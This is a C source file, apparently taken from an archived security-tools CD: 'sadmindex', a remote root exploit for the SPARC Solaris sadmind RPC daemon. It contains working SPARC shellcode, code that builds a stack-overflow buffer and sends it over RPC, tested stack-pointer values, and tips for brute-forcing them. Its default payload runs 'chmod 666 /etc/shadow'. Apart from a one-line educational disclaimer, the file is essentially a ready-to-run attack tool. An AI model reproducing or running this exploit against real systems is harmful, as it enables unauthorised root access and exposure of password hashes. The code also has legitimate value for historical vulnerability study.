home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / rpc / sadmindex-sparc.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  17KB  |  526 lines

  1. /**
  2. ***  sadmindex - SPARC Solaris remote root exploit for /usr/sbin/sadmind
  3. ***
  4. ***  Tested and confirmed under Solaris 2.6 and 7.0 (SPARC)
  5. ***
  6. ***  Usage:  % sadmindex -h hostname -c command -s sp [-o offset] \
  7. ***                      [-a alignment] [-p]
  8. ***
  9. ***  where hostname is the hostname of the machine running the vulnerable
  10. ***  system administration daemon, command is the command to run as root
  11. ***  on the vulnerable machine, sp is the %sp stack pointer value, offset
  12. ***  is the number of bytes to add to sp to calculate the desired return
  13. ***  address, and alignment is the number of bytes needed to correctly
  14. ***  align the contents of the exploit buffer.
  15. ***
  16. ***  If run with a -p option, the exploit will only "ping" sadmind on the
  17. ***  remote machine to start it running.  The daemon will be otherwise
  18. ***  untouched.  Since pinging the daemon does not require an exploit
  19. ***  buffer to be constructed, you can safely omit the -c and -s options
  20. ***  if you use -p.
  21. ***
  22. ***  When specifying a command, be sure to pass it to the exploit as a
  23. ***  single argument, namely enclose the command string in quotes if it
  24. ***  contains spaces or other special shell delimiter characters.  The
  25. ***  exploit will pass this string without modification to /bin/sh -c on
  26. ***  the remote machine, so any normally allowed Bourne shell syntax is
  27. ***  also allowed in the command string.  The command string and the
  28. ***  assembly code to run it must fit inside a buffer of 512 bytes, so
  29. ***  the command string has a maximum length of about 380 bytes or so.
  30. ***
  31. ***  Due to the nature of the target overflow in sadmind, the exploit is
  32. ***  extremely sensitive to the %sp stack pointer value that is provided
  33. ***  when the exploit is run.  The %sp stack pointer must be specified
  34. ***  with the exact required value, leaving no room for error.  I have
  35. ***  provided confirmed values for Solaris running on a Sun SPARCengine
  36. ***  Ultra AXi machine running Solaris 2.6 5/98 and on a SPARCstation 1
  37. ***  running Solaris 7.0 10/98.  On each system, sadmind was started from
  38. ***  an instance of inetd that was started at boot time by init.  There
  39. ***  is a strong possibility that the demonstration values will not work
  40. ***  due to differing sets of environment variables, for example if the
  41. ***  the running inetd on the remote machine was started manually from an
  42. ***  interactive shell.  If you find that the sample value for %sp does
  43. ***  not work, try adjusting the value by -2048 to 2048 from the sample in
  44. ***  increments of 8 for starters.  The offset parameter and the alignment
  45. ***  parameter have default values that will be used if no overriding
  46. ***  values are specified on the command line.  The default values should
  47. ***  be suitable and it will not likely be necessary to override them.
  48. ***
  49. ***  Demonstration values for SPARC Solaris:
  50. ***
  51. ***  (2.6)  sadmindex -h host.example.com -c "touch HEH" -s 0xefff9580
  52. ***  (7.0)  sadmindex -h host.example.com -c "touch HEH" -s 0xefff9418
  53. ***
  54. ***  THIS CODE FOR EDUCATIONAL USE ONLY IN AN ETHICAL MANNER
  55. ***
  56. ***  Cheez Whiz
  57. ***  cheezbeast@hotmail.com
  58. ***
  59. ***  June 24, 1999
  60. **/
  61.  
  62. #include <stdlib.h>
  63. #include <stdio.h>
  64. #include <unistd.h>
  65. #include <string.h>
  66. #include <rpc/rpc.h>
  67.  
  68. #define NETMGT_PROG 100232
  69. #define NETMGT_VERS 10
  70. #define NETMGT_PROC_PING 0
  71. #define NETMGT_PROC_SERVICE 1
  72.  
  73. #define NETMGT_UDP_PING_TIMEOUT 30
  74. #define NETMGT_UDP_PING_RETRY_TIMEOUT 5
  75. #define NETMGT_UDP_SERVICE_TIMEOUT 1
  76. #define NETMGT_UDP_SERVICE_RETRY_TIMEOUT 2
  77.  
  78. #define NETMGT_HEADER_TYPE 6
  79. #define NETMGT_ARG_INT 3
  80. #define NETMGT_ARG_STRING 9
  81. #define NETMGT_ENDOFARGS "netmgt_endofargs"
  82.  
  83. #define ADM_FW_VERSION "ADM_FW_VERSION"
  84. #define ADM_CLIENT_DOMAIN "ADM_CLIENT_DOMAIN"
  85. #define ADM_FENCE "ADM_FENCE"
  86.  
  87. #define BUFLEN 1076        /* 256+256+32+32+512-12 */
  88. #define ADDRLEN 560        /* 256+256+32+32-4-12 */
  89. #define FRAMELEN1 608
  90. #define FRAMELEN2 4200
  91. #define LEN 84
  92.  
  93. #define OFFSET 688        /* default offset */
  94. #define ALIGNMENT 4        /* default alignment */
  95.  
  96. #define NOP 0x801bc00f        /* xor %o7,%o7,%g0 */
  97.  
  98. char shell[] =
  99.   /*   0 */ "\x20\xbf\xff\xff"                 /* bn,a ?    [2000]*/
  100.   /* skip:                                                  [2000]*/
  101.   /*   4 */ "\x20\xbf\xff\xff"                 /* bn,a ?    [2000]*/
  102.   /*   8 */ "\x7f\xff\xff\xff"                 /* call skip [2000]*/
  103.   /* execve:                                                [2000]*/
  104.   /*  12 */ "\x90\x03\xe0\x5c"                 /* add %o7,92,%o0  */
  105.   /*  16 */ "\x92\x22\x20\x10"                 /* sub %o0,16,%o1  */
  106.   /*  20 */ "\x94\x1b\xc0\x0f"                 /* xor %o7,%o7,%o2 */
  107.   /*  24 */ "\xec\x02\x3f\xf0"                 /* ld [%o0-16],%l6 */
  108.   /*  28 */ "\xac\x22\x80\x16"                 /* sub %o2,%l6,%l6 */
  109.   /*  32 */ "\xae\x02\x60\x10"                 /* add %o1,16,%l7  */
  110.   /*  36 */ "\xee\x22\x3f\xf0"                 /* st %l7,[%o0-16] */
  111.   /*  40 */ "\xae\x05\xe0\x08"                 /* add %l7,8,%l7   */
  112.   /*  44 */ "\xc0\x2d\xff\xff"                 /* stb %g0,[%l7-1] */
  113.   /*  48 */ "\xee\x22\x3f\xf4"                 /* st %l7,[%o0-12] */
  114.   /*  52 */ "\xae\x05\xe0\x03"                 /* add %l7,3,%l7   */
  115.   /*  56 */ "\xc0\x2d\xff\xff"                 /* stb %g0,[%l7-1] */
  116.   /*  60 */ "\xee\x22\x3f\xf8"                 /* st %l7,[%o0-8]  */
  117.   /*  64 */ "\xae\x05\xc0\x16"                 /* add %l7,%l6,%l7 */
  118.   /*  68 */ "\xc0\x2d\xff\xff"                 /* stb %g0,[%l7-1] */
  119.   /*  72 */ "\xc0\x22\x3f\xfc"                 /* st %g0,[%o0-4]  */
  120.   /*  76 */ "\x82\x10\x20\x3b"                 /* mov 59,%g1[2000]*/
  121.   /*  80 */ "\x91\xd0\x20\x08"                 /* ta 8      [2000]*/
  122.   /* data:                                                  [2000]*/
  123.   /*  84 */ "\xff\xff\xff\xff"                 /* DATA      [2000]*/
  124.   /*  88 */ "\xff\xff\xff\xff"                 /* DATA      [2000]*/
  125.   /*  92 */ "\xff\xff\xff\xff"                 /* DATA      [2000]*/
  126.   /*  96 */ "\xff\xff\xff\xff"                 /* DATA      [2000]*/
  127.   /* 100 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA      [2000]*/
  128.   /* 108 */ "\x2d\x63\xff";                    /* DATA      [2000]*/
  129.  
  130. extern char *optarg;
  131.  
  132. struct nm_send_header
  133.   {
  134.     struct timeval timeval1;
  135.     struct timeval timeval2;
  136.     struct timeval timeval3;
  137.     unsigned int uint1;
  138.     unsigned int uint2;
  139.     unsigned int uint3;
  140.     unsigned int uint4;
  141.     unsigned int uint5;
  142.     struct in_addr inaddr1;
  143.     struct in_addr inaddr2;
  144.     unsigned long ulong1;
  145.     unsigned long ulong2;
  146.     struct in_addr inaddr3;
  147.     unsigned long ulong3;
  148.     unsigned long ulong4;
  149.     unsigned long ulong5;
  150.     struct timeval timeval4;
  151.     unsigned int uint6;
  152.     struct timeval timeval5;
  153.     char *string1;
  154.     char *string2;
  155.     char *string3;
  156.     unsigned int uint7;
  157.   };
  158.  
  159. struct nm_send_arg_int
  160.   {
  161.     char *string1;
  162.     unsigned int uint1;
  163.     unsigned int uint2;
  164.     int int1;
  165.     unsigned int uint3;
  166.     unsigned int uint4;
  167.   };
  168.  
  169. struct nm_send_arg_string
  170.   {
  171.     char *string1;
  172.     unsigned int uint1;
  173.     unsigned int uint2;
  174.     char *string2;
  175.     unsigned int uint3;
  176.     unsigned int uint4;
  177.   };
  178.  
  179. struct nm_send_footer
  180.   {
  181.     char *string1;
  182.   };
  183.  
  184. struct nm_send
  185.   {
  186.     struct nm_send_header header;
  187.     struct nm_send_arg_int version;
  188.     struct nm_send_arg_string string;
  189.     struct nm_send_arg_int fence;
  190.     struct nm_send_footer footer;
  191.   };
  192.  
  193. struct nm_reply
  194.   {
  195.     unsigned int uint1;
  196.     unsigned int uint2;
  197.     char *string1;
  198.   };
  199.  
  200. bool_t
  201. xdr_nm_send_header(XDR *xdrs, struct nm_send_header *objp)
  202. {
  203.   char *addr;
  204.   size_t size = sizeof(struct in_addr);
  205.  
  206.   if (!xdr_long(xdrs, &objp->timeval1.tv_sec))
  207.     return (FALSE);
  208.   if (!xdr_long(xdrs, &objp->timeval1.tv_usec))
  209.     return (FALSE);
  210.   if (!xdr_long(xdrs, &objp->timeval2.tv_sec))
  211.     return (FALSE);
  212.   if (!xdr_long(xdrs, &objp->timeval2.tv_usec))
  213.     return (FALSE);
  214.   if (!xdr_long(xdrs, &objp->timeval3.tv_sec))
  215.     return (FALSE);
  216.   if (!xdr_long(xdrs, &objp->timeval3.tv_usec))
  217.     return (FALSE);
  218.   if (!xdr_u_int(xdrs, &objp->uint1))
  219.     return (FALSE);
  220.   if (!xdr_u_int(xdrs, &objp->uint2))
  221.     return (FALSE);
  222.   if (!xdr_u_int(xdrs, &objp->uint3))
  223.     return (FALSE);
  224.   if (!xdr_u_int(xdrs, &objp->uint4))
  225.     return (FALSE);
  226.   if (!xdr_u_int(xdrs, &objp->uint5))
  227.     return (FALSE);
  228.   addr = (char *) &objp->inaddr1.s_addr;
  229.   if (!xdr_bytes(xdrs, &addr, &size, size))
  230.     return (FALSE);
  231.   addr = (char *) &objp->inaddr2.s_addr;
  232.   if (!xdr_bytes(xdrs, &addr, &size, size))
  233.     return (FALSE);
  234.   if (!xdr_u_long(xdrs, &objp->ulong1))
  235.     return (FALSE);
  236.   if (!xdr_u_long(xdrs, &objp->ulong2))
  237.     return (FALSE);
  238.   addr = (char *) &objp->inaddr3.s_addr;
  239.   if (!xdr_bytes(xdrs, &addr, &size, size))
  240.     return (FALSE);
  241.   if (!xdr_u_long(xdrs, &objp->ulong3))
  242.     return (FALSE);
  243.   if (!xdr_u_long(xdrs, &objp->ulong4))
  244.     return (FALSE);
  245.   if (!xdr_u_long(xdrs, &objp->ulong5))
  246.     return (FALSE);
  247.   if (!xdr_long(xdrs, &objp->timeval4.tv_sec))
  248.     return (FALSE);
  249.   if (!xdr_long(xdrs, &objp->timeval4.tv_usec))
  250.     return (FALSE);
  251.   if (!xdr_u_int(xdrs, &objp->uint6))
  252.     return (FALSE);
  253.   if (!xdr_long(xdrs, &objp->timeval5.tv_sec))
  254.     return (FALSE);
  255.   if (!xdr_long(xdrs, &objp->timeval5.tv_usec))
  256.     return (FALSE);
  257.   if (!xdr_wrapstring(xdrs, &objp->string1))
  258.     return (FALSE);
  259.   if (!xdr_wrapstring(xdrs, &objp->string2))
  260.     return (FALSE);
  261.   if (!xdr_wrapstring(xdrs, &objp->string3))
  262.     return (FALSE);
  263.   if (!xdr_u_int(xdrs, &objp->uint7))
  264.     return (FALSE);
  265.   return (TRUE);
  266. }
  267.  
  268. bool_t
  269. xdr_nm_send_arg_int(XDR *xdrs, struct nm_send_arg_int *objp)
  270. {
  271.   if (!xdr_wrapstring(xdrs, &objp->string1))
  272.     return (FALSE);
  273.   if (!xdr_u_int(xdrs, &objp->uint1))
  274.     return (FALSE);
  275.   if (!xdr_u_int(xdrs, &objp->uint2))
  276.     return (FALSE);
  277.   if (!xdr_int(xdrs, &objp->int1))
  278.     return (FALSE);
  279.   if (!xdr_u_int(xdrs, &objp->uint3))
  280.     return (FALSE);
  281.   if (!xdr_u_int(xdrs, &objp->uint4))
  282.     return (FALSE);
  283.   return (TRUE);
  284. }
  285.  
  286. bool_t
  287. xdr_nm_send_arg_string(XDR *xdrs, struct nm_send_arg_string *objp)
  288. {
  289.   if (!xdr_wrapstring(xdrs, &objp->string1))
  290.     return (FALSE);
  291.   if (!xdr_u_int(xdrs, &objp->uint1))
  292.     return (FALSE);
  293.   if (!xdr_u_int(xdrs, &objp->uint2))
  294.     return (FALSE);
  295.   if (!xdr_wrapstring(xdrs, &objp->string2))
  296.     return (FALSE);
  297.   if (!xdr_u_int(xdrs, &objp->uint3))
  298.     return (FALSE);
  299.   if (!xdr_u_int(xdrs, &objp->uint4))
  300.     return (FALSE);
  301.   return (TRUE);
  302. }
  303.  
  304. bool_t
  305. xdr_nm_send_footer(XDR *xdrs, struct nm_send_footer *objp)
  306. {
  307.   if (!xdr_wrapstring(xdrs, &objp->string1))
  308.     return (FALSE);
  309.   return (TRUE);
  310. }
  311.  
  312. bool_t
  313. xdr_nm_send(XDR *xdrs, struct nm_send *objp)
  314. {
  315.   if (!xdr_nm_send_header(xdrs, &objp->header))
  316.     return (FALSE);
  317.   if (!xdr_nm_send_arg_int(xdrs, &objp->version))
  318.     return (FALSE);
  319.   if (!xdr_nm_send_arg_string(xdrs, &objp->string))
  320.     return (FALSE);
  321.   if (!xdr_nm_send_arg_int(xdrs, &objp->fence))
  322.     return (FALSE);
  323.   if (!xdr_nm_send_footer(xdrs, &objp->footer))
  324.     return (FALSE);
  325.   return (TRUE);
  326. }
  327.  
  328. bool_t
  329. xdr_nm_reply(XDR *xdrs, struct nm_reply *objp)
  330. {
  331.   if (!xdr_u_int(xdrs, &objp->uint1))
  332.     return (FALSE);
  333.   if (!xdr_u_int(xdrs, &objp->uint2))
  334.     return (FALSE);
  335.   if (!xdr_wrapstring(xdrs, &objp->string1))
  336.     return (FALSE);
  337.   return (TRUE);
  338. }
  339.  
  340. int
  341. main(int argc, char *argv[])
  342. {
  343.   CLIENT *cl;
  344.   struct nm_send send;
  345.   struct nm_reply reply;
  346.   struct timeval tm;
  347.   enum clnt_stat stat;
  348.   int c, i, len, slen, clen;
  349.   char *program, *cp, buf[BUFLEN+1];
  350.   char *hostname, *command;
  351.   int offset, alignment, pinging = 0;
  352.   unsigned long int sp = 0, fp, addr;
  353.  
  354.   program = argv[0];
  355.   hostname = "localhost";
  356.   command = "chmod 666 /etc/shadow";
  357.   offset = OFFSET;
  358.   alignment = ALIGNMENT;
  359.   while ((c = getopt(argc, argv, "h:c:s:o:a:p")) != EOF)
  360.     {
  361.       switch (c)
  362.         {
  363.         case 'h':
  364.           hostname = optarg;
  365.           break;
  366.         case 'c':
  367.           command = optarg;
  368.           break;
  369.         case 's':
  370.           sp = strtoul(optarg, NULL, 0);
  371.           break;
  372.         case 'o':
  373.           offset = (int) strtol(optarg, NULL, 0);
  374.           break;
  375.         case 'a':
  376.           alignment = (int) strtol(optarg, NULL, 0);
  377.           break;
  378.         case 'p':
  379.           pinging = 1;
  380.           break;
  381.         default:
  382.           fprintf(stderr, "usage: %s -h hostname -c command -s sp "
  383.                   "[-o offset] [-a alignment] [-p]\n", program);
  384.           exit(1);
  385.           break;
  386.         }
  387.     }
  388.   memset(buf, '\xff', BUFLEN);
  389.   fp = sp + FRAMELEN1 + FRAMELEN2;
  390.   fp &= 0xfffffff8;
  391.   addr = sp + offset;
  392.   addr &= 0xfffffffc;
  393.   for (i = 0, cp = buf + alignment; i < ADDRLEN / 8; i++)
  394.     {
  395.       *cp++ = (fp >> 24) & 0xff;
  396.       *cp++ = (fp >> 16) & 0xff;
  397.       *cp++ = (fp >>  8) & 0xff;
  398.       *cp++ = (fp >>  0) & 0xff;
  399.       *cp++ = (addr >> 24) & 0xff;
  400.       *cp++ = (addr >> 16) & 0xff;
  401.       *cp++ = (addr >>  8) & 0xff;
  402.       *cp++ = (addr >>  0) & 0xff;
  403.     }
  404.   slen = strlen(shell);
  405.   clen = strlen(command);
  406.   len = BUFLEN - 1 - clen - slen - ADDRLEN - alignment;
  407.   len &= 0xfffffffc;
  408.   for (i = 0; i < len / 4; i++)
  409.     {
  410.       *cp++ = (NOP >> 24) & 0xff;
  411.       *cp++ = (NOP >> 16) & 0xff;
  412.       *cp++ = (NOP >>  8) & 0xff;
  413.       *cp++ = (NOP >>  0) & 0xff;
  414.     }
  415.   len = clen;
  416.   len++;
  417.   len = -len;
  418.   shell[LEN+0] = (len >> 24) & 0xff;
  419.   shell[LEN+1] = (len >> 16) & 0xff;
  420.   shell[LEN+2] = (len >>  8) & 0xff;
  421.   shell[LEN+3] = (len >>  0) & 0xff;
  422.   memcpy(cp, shell, slen);
  423.   cp += slen;
  424.   memcpy(cp, command, clen);
  425.   buf[BUFLEN] = '\0';
  426.   memset(&send, 0, sizeof(struct nm_send));
  427.   send.header.uint2 = NETMGT_HEADER_TYPE;
  428.   send.header.string1 = "";
  429.   send.header.string2 = "";
  430.   send.header.string3 = "";
  431.   send.header.uint7 =
  432.     strlen(ADM_FW_VERSION) + 1 +
  433.     (4 * sizeof(unsigned int)) + sizeof(int) +
  434.     strlen(ADM_CLIENT_DOMAIN) + 1 +
  435.     (4 * sizeof(unsigned int)) + strlen(buf) + 1 +
  436.     strlen(ADM_FENCE) + 1 +
  437.     (4 * sizeof(unsigned int)) + sizeof(int) +
  438.     strlen(NETMGT_ENDOFARGS) + 1;
  439.   send.version.string1 = ADM_FW_VERSION;
  440.   send.version.uint1 = NETMGT_ARG_INT;
  441.   send.version.uint2 = sizeof(int);
  442.   send.version.int1 = 1;
  443.   send.string.string1 = ADM_CLIENT_DOMAIN;
  444.   send.string.uint1 = NETMGT_ARG_STRING;
  445.   send.string.uint2 = strlen(buf);
  446.   send.string.string2 = buf;
  447.   send.fence.string1 = ADM_FENCE;
  448.   send.fence.uint1 = NETMGT_ARG_INT;
  449.   send.fence.uint2 = sizeof(int);
  450.   send.fence.int1 = 666;
  451.   send.footer.string1 = NETMGT_ENDOFARGS;
  452.   cl = clnt_create(hostname, NETMGT_PROG, NETMGT_VERS, "udp");
  453.   if (cl == NULL)
  454.     {
  455.       clnt_pcreateerror("clnt_create");
  456.       exit(1);
  457.     }
  458.   cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
  459.   if (!pinging)
  460.     {
  461.       fprintf(stdout,
  462.               "%%sp 0x%08lx offset %d --> return address 0x%08lx [%d]\n",
  463.               sp, offset, addr, alignment);
  464.       fprintf(stdout,
  465.               "%%sp 0x%08lx with frame length %d --> %%fp 0x%08lx\n",
  466.               sp, FRAMELEN1 + FRAMELEN2, fp);
  467.       tm.tv_sec = NETMGT_UDP_SERVICE_TIMEOUT;
  468.       tm.tv_usec = 0;
  469.       if (!clnt_control(cl, CLSET_TIMEOUT, (char *) &tm))
  470.         {
  471.           fprintf(stderr, "exploit failed; unable to set timeout\n");
  472.           exit(1);
  473.         }
  474.       tm.tv_sec = NETMGT_UDP_SERVICE_RETRY_TIMEOUT;
  475.       tm.tv_usec = 0;
  476.       if (!clnt_control(cl, CLSET_RETRY_TIMEOUT, (char *) &tm))
  477.         {
  478.           fprintf(stderr, "exploit failed; unable to set timeout\n");
  479.           exit(1);
  480.         }
  481.       stat = clnt_call(cl, NETMGT_PROC_SERVICE,
  482.                        xdr_nm_send, (caddr_t) &send,
  483.                        xdr_nm_reply, (caddr_t) &reply, tm);
  484.       if (stat != RPC_SUCCESS)
  485.         {
  486.           clnt_perror(cl, "clnt_call");
  487.           fprintf(stdout, "now check if exploit worked; "
  488.                   "RPC failure was expected\n");
  489.           exit(0);
  490.         }
  491.       fprintf(stderr, "exploit failed; "
  492.               "RPC succeeded and returned { %u, %u, \"%s\" }\n",
  493.               reply.uint1, reply.uint2, reply.string1);
  494.       clnt_destroy(cl);
  495.       exit(1);
  496.     }
  497.   else
  498.     {
  499.       tm.tv_sec = NETMGT_UDP_PING_TIMEOUT;
  500.       tm.tv_usec = 0;
  501.       if (!clnt_control(cl, CLSET_TIMEOUT, (char *) &tm))
  502.         {
  503.           fprintf(stderr, "exploit failed; unable to set timeout\n");
  504.           exit(1);
  505.         }
  506.       tm.tv_sec = NETMGT_UDP_PING_RETRY_TIMEOUT;
  507.       tm.tv_usec = 0;
  508.       if (!clnt_control(cl, CLSET_RETRY_TIMEOUT, (char *) &tm))
  509.         {
  510.           fprintf(stderr, "exploit failed; unable to set timeout\n");
  511.           exit(1);
  512.         }
  513.       stat = clnt_call(cl, NETMGT_PROC_PING,
  514.                        xdr_void, NULL,
  515.                        xdr_void, NULL, tm);
  516.       if (stat != RPC_SUCCESS)
  517.         {
  518.           clnt_perror(cl, "clnt_call");
  519.           exit(1);
  520.         }
  521.       clnt_destroy(cl);
  522.       exit(0);
  523.     }
  524. }
  525. /*                  www.hack.co.za                 */
  526.